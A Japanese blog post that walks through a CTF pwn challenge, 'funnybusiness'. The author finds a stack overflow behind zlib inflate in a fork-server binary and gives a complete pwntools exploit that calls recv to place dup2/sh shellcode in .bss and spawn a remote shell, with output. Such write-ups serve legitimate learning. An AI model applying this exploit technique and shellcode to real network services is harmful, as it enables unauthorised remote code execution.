mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby funnybusiness

下調べ

$ file funnybusiness | sed -e "s/,/\n/g"
funnybusiness: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=97b05818b1ef9a9383e922e10e1e43ce7a96389e
 stripped
$ checksec.sh --file funnybusiness 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   funnybusiness

Ubuntu14.04 64bitで動作させてる.

解析

実行してみると何かを待ち受けている.何だろう.
straceで実行するとポート49681で接続待ち受けしていることがわかった.いわゆるfork-server型の問題.
ncで接続するがfunnybusinessというユーザが存在しないとサーバ側でエラーが吐かれて接続が切れた.

gdb-pedaやobjdumpを駆使してバイナリの中身を追っていくと,文字列funnybusinessを引数に取ってgetpwnam関数が呼ばれていた.
getpwname関数について調べてみる.

getpwnam() 関数は、ユーザ名 name にマッチするパスワード・データベースのエントリを要素毎に分解し、各要素を格納した構造体へのポインタを返す
(パスワード・データベースの例: ローカルのパスワードファイル /etc/passwd,NIS, LDAP)

つまり,先ほどのエラーはOSにfunnybusinessという名前のユーザがいないことが原因のようだ.
OSにfunnybusinessユーザを追加して再度実行.(getpwnameを使っているので管理者権限で実行する必要あり).

うまく動いたっぽい...が,画面に何も表示されない.
さらにバイナリの中身を追っていくと,次のような動作をすることが分かった.

  1. 1回目のrecvでユーザが送るデータのサイズを受け取る
  2. 2回目のrecvでそのデータを受け取る
  3. 受け取ったデータを引数にとってinflate関数を実行

inflate関数って何だ...
調べた.
zlibライブラリの関数で,圧縮されたデータの解凍に使われる関数みたい.
さっそくてきとうな文字列を圧縮して送ってみる.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
import zlib

host = 'localhost'
port = 49681

conn = remote(host, port)

data = "A" * 5000
comp_data = zlib.compress(data)

conn.send(p32(len(comp_data)))
conn.send(comp_data)


お,なんかeipが変なところへ飛んでる.
f:id:mattun_mart:20170910201754p:plain

送ったデータでリターンアドレスが書き変わってるみたい.
これでeipは奪えたので送ったデータのどの部分がリターンアドレスに対応しているか調べる.
ただし,このままだとリターンアドレスに対応する部分がわかっても,データが圧縮されているので自由にリターンアドレスを指定できない.

どうしたものかとpythonのzlibライブラリの圧縮を見ていると,compress関数は第2引数に0を指定すると無圧縮で圧縮できるらしい.
これで生のデータを送れるので,自由にリターンアドレスを書き換えられる.
上記のコードのAの文字数を20,compress関数に引数0を指定して,再度データを送ってみる.(バイナリを解析しているとわかるが送れるサイズには制限がある)

f:id:mattun_mart:20170910202908p:plain

ret命令が実行されるときのスタックを見てみるとespにA*14が積まれている.
送ったデータは20文字のAなので7番目の文字からリターンアドレスになるようだ.
これで自由にリターンアドレスを指定することができるようになったので,Exploitを組み立てればよい.

Exploit

下調べでもわかっているように,このバイナリはNXとPIEが無効になっている.

  • NXが無効  → .bss領域等でシェルコードが実行できる.
  • PIEが無効 → ASLRが有効でも.bss領域のアドレスは変化しない.(ASLRはheap領域以降のアドレスをランダム化するらしい)

.bss領域にシェルコード置いてしまえばシェルが開ける.
あとはどうやって.bss領域にシェルコードを書きこむかだが,recv関数を利用すればよい.

.bss領域のアドレス調べて

$ readelf -S funnybusiness 
28 個のセクションヘッダ、始点オフセット 0x2190:

セクションヘッダ:
  [番] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 0001d0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804839c 00039c 000121 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080484be 0004be 00003a 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080484f8 0004f8 000030 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048528 000528 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048530 000530 0000d0 08   A  5  12  4
  [11] .init             PROGBITS        08048600 000600 00002e 00  AX  0   0  4
  [12] .plt              PROGBITS        08048630 000630 0001b0 04  AX  0   0 16
  [13] .text             PROGBITS        080487e0 0007e0 00074c 00  AX  0   0 16
  [14] .fini             PROGBITS        08048f2c 000f2c 00001a 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048f48 000f48 0000d3 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        0804901c 00101c 000084 00   A  0   0  4
  [17] .eh_frame         PROGBITS        080490a0 0010a0 0002b8 00   A  0   0  4
  [18] .ctors            PROGBITS        0804af0c 001f0c 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        0804af14 001f14 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        0804af1c 001f1c 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         0804af20 001f20 0000d0 08  WA  6   0  4
  [22] .got              PROGBITS        0804aff0 001ff0 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804aff4 001ff4 000074 04  WA  0   0  4
  [24] .data             PROGBITS        0804b068 002068 000010 00  WA  0   0  4
  [25] .bss              NOBITS          0804b080 002078 004058 00  WA  0   0 32
  [26] .comment          PROGBITS        00000000 002078 00002a 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 0020a2 0000ec 00      0   0  1

Exploitを書く

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
import zlib

host = 'localhost'
port = 49681

conn = remote(host, port)

bss_addr = 0x804b080
elf = ELF('./funnybusiness')
ret_addr = elf.plt['recv']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

call_recv = p32(ret_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

payload = "BBBBBB" # ret_addrを7文字目から置くため
payload += call_recv
comp_payload = zlib.compress(payload,0)

conn.send(p32(len(comp_payload)))
conn.send(comp_payload)
conn.send(shellcode)
conn.interactive()

fork-server型なのでシェルコードを送る前に,dup2などを使って自分が使用しているsocketディスクリプタを繋げてあげる必要がある.
これをしないとシェルは奪えても何も表示されない.

実行して無事シェル起動.

mattun-mart@4ctf:~/pwn/baby/funnybusiness$ python exploit.py 
[+] Opening connection to localhost on port 49681: Done
[*] '/home/mattun-mart/pwn/baby/funnybusiness/funnybusiness'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
    FORTIFY:  Enabled
[*] Switching to interactive mode
$ ls -a
.
..
.bash_logout
.bashrc
.profile